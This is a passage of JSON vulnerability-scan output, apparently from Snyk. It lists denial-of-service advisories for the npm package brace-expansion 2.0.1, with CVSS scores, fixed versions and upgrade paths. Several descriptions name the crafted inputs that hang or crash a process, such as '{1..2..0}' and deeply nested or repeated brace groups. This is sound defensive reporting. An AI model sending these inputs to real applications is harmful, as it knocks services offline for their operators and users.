"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmhook@10.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmorg@6.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmorg@6.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmorg@6.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmorg@6.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmorg@6.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
